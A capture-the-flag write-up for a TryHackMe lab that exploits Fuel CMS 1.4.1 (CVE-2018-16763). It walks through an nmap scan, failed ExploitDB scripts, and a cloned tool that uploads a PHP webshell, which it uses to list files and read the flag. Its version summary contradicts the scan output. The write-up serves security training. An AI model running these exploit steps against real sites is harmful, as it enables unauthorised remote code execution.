TryHackMe Vulnerability Capstone Writeup: Fuel CMS 1.4.1 RCE (CVE-2018-16763)

Room Info

• Platform: TryHackMe
• Difficulty: Easy
• Room link: https://tryhackme.com/room/vulnerabilitycapstone

Service Discovery

Nmap Scan

└─$ nmap -Pn -sV -sC 10.201.27.44
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-03 15:46 CST
Nmap scan report for 10.201.27.44
Host is up (0.37s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 c9:f5:89:c3:63:5a:00:51:0a:5d:ff:af:ae:8d:c6:b5 (RSA)
|   256 0f:31:0b:68:2c:dc:4d:a9:a9:e6:93:a9:dc:9a:1c:72 (ECDSA)
|_  256 d0:63:65:cb:b6:fd:d9:a9:ea:07:9e:48:5f:dd:38:c2 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/fuel/
|_http-title: Welcome to FUEL CMS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.17 seconds

Results

• 80/tcp: Apache httpd 2.4.18
• Service: Fuel CMS

Step 1: Web Service Recon

Visiting http://10.201.27.44/ reveals the Fuel CMS home page.

Version identification

• The home page or error messages confirm the version: Fuel CMS 1.4
• This version has a known RCE vulnerability

Step 2: Vulnerability Research

Searching for Known Vulnerabilities

searchsploit fuel cms

Several exploits turn up

Fuel CMS 1.4.1 - Remote Code Execution (1)    | linux/webapps/47138.py
Fuel CMS 1.4.1 - Remote Code Execution (2)    | php/webapps/49487.rb
Fuel CMS 1.4.1 - Remote Code Execution (3)    | php/webapps/50477.py

Vulnerability description

• CVE-2018-16763: Fuel CMS 1.4.1 allows PHP code injection through the filter parameter of pages/select/
• Affected versions: <= 1.4.1
• Vulnerability type: Pre-Auth RCE (no authentication required)

Step 3: Exploitation Attempts

Method 1: Python exploit (failed)

# Try the script from ExploitDB
python3 50477.py -u http://10.201.27.44/

Problem

• Output parsing errors
• Only shows "system" or a PHP error message
• The command does execute, but the results can't be displayed correctly

Method 2: Ruby exploit (failed)

# Install dependencies
gem install docopt

# Run
ruby 49487.rb http://10.201.27.44 "ls -la"

Problem

NoMethodError: undefined method 'captures' for nil

• The regex match fails
• There's a bug in the output-parsing logic

Step 4: Successful Exploitation - the p0dalirius tool

Using the Best Tool

This tool automatically uploads a PHP webshell and gives you an interactive shell, sidestepping the output-parsing problem entirely.

Install and run

# Clone repository
git clone https://github.com/p0dalirius/CVE-2018-16763-FuelCMS-1.4.1-RCE.git
cd CVE-2018-16763-FuelCMS-1.4.1-RCE

# Launch the interactive console
python3 console.py -t http://10.201.27.44

How It Works

1. Webshell upload: Uses file_put_contents to upload a PHP webshell via CVE-2018-16763
2. Interactive shell: Commands are run through an API endpoint, so the output comes back clean with no HTML noise

Step 5: Recon

└─$ python3 console.py -t http://10.201.27.44
CVE-2018-16763-FuelCMS-1.4.1-RCE - by Remi GASCOU (Podalirius)

[+] Shell was uploaded in http://10.201.27.44/908b945f78d04d3fbe1d23b40a369094.php
[webshell]> ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
[webshell]> ls -al /home/ubuntu
total 40
drwxr-xr-x 5 ubuntu ubuntu 4096 Sep  3  2021 .
drwxr-xr-x 3 root   root   4096 Sep  3  2021 ..
-rw------- 1 ubuntu ubuntu  178 Sep  3  2021 .Xauthority
lrwxrwxrwx 1 ubuntu ubuntu    9 Sep  3  2021 .bash_history -> /dev/null
-rw-r--r-- 1 ubuntu ubuntu  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Feb 25  2020 .bashrc
drwx------ 2 ubuntu ubuntu 4096 Sep  3  2021 .cache
drwxrwxr-x 3 ubuntu ubuntu 4096 Sep  3  2021 .local
-rw-r--r-- 1 ubuntu ubuntu  807 Feb 25  2020 .profile
drwx------ 2 ubuntu ubuntu 4096 Sep  3  2021 .ssh
-rw-r--r-- 1 ubuntu ubuntu    0 Sep  3  2021 .sudo_as_admin_successful
-rw-rw-r-- 1 ubuntu ubuntu   23 Sep  3  2021 flag.txt
[webshell]> cat /home/ubuntu/flag.txt
THM{Redacted}

Technical Summary

CVE-2018-16763 in Detail

1. Affected parameters:
   • /fuel/pages/select/?filter=
   • /fuel/pages/preview/ (the data parameter)
2. Why so many exploits fail:
   • They use the system() function, so the output gets mixed into the HTML error page
   • The regex can't reliably extract the output
   • PHP Warning messages get in the way

Lessons Learned

On Step 3 and Step 4:

I basically tested every searchsploit script for this step and none of them worked. In the end I found a more stable version on GitHub, so you don't always have to rely on searchsploit — it's worth hunting for a newer or more stable version of an exploit.